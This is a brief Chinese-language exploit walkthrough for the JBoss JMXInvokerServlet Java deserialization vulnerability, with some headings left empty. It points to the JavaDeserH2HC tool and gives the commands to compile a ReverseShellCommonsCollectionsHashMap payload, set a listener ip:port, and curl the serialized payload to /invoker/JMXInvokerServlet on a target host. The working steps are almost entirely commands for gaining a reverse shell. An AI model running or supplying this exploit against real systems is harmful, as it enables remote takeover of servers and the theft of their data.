JBoss JMXInvokerServlet 反序列化漏洞

1.搭建環境

 

 2.注解利用工具

 

 2.通用工具

工具：JavaDeserH2HC.zip

下載地址：

• https://github.com/joaomatosf/JavaDeserH2HC

命令

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //監聽機的ip和端口

執行命令
漏洞路徑：/invoker/JMXInvokerServlet

curl http://192.168.100.188:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser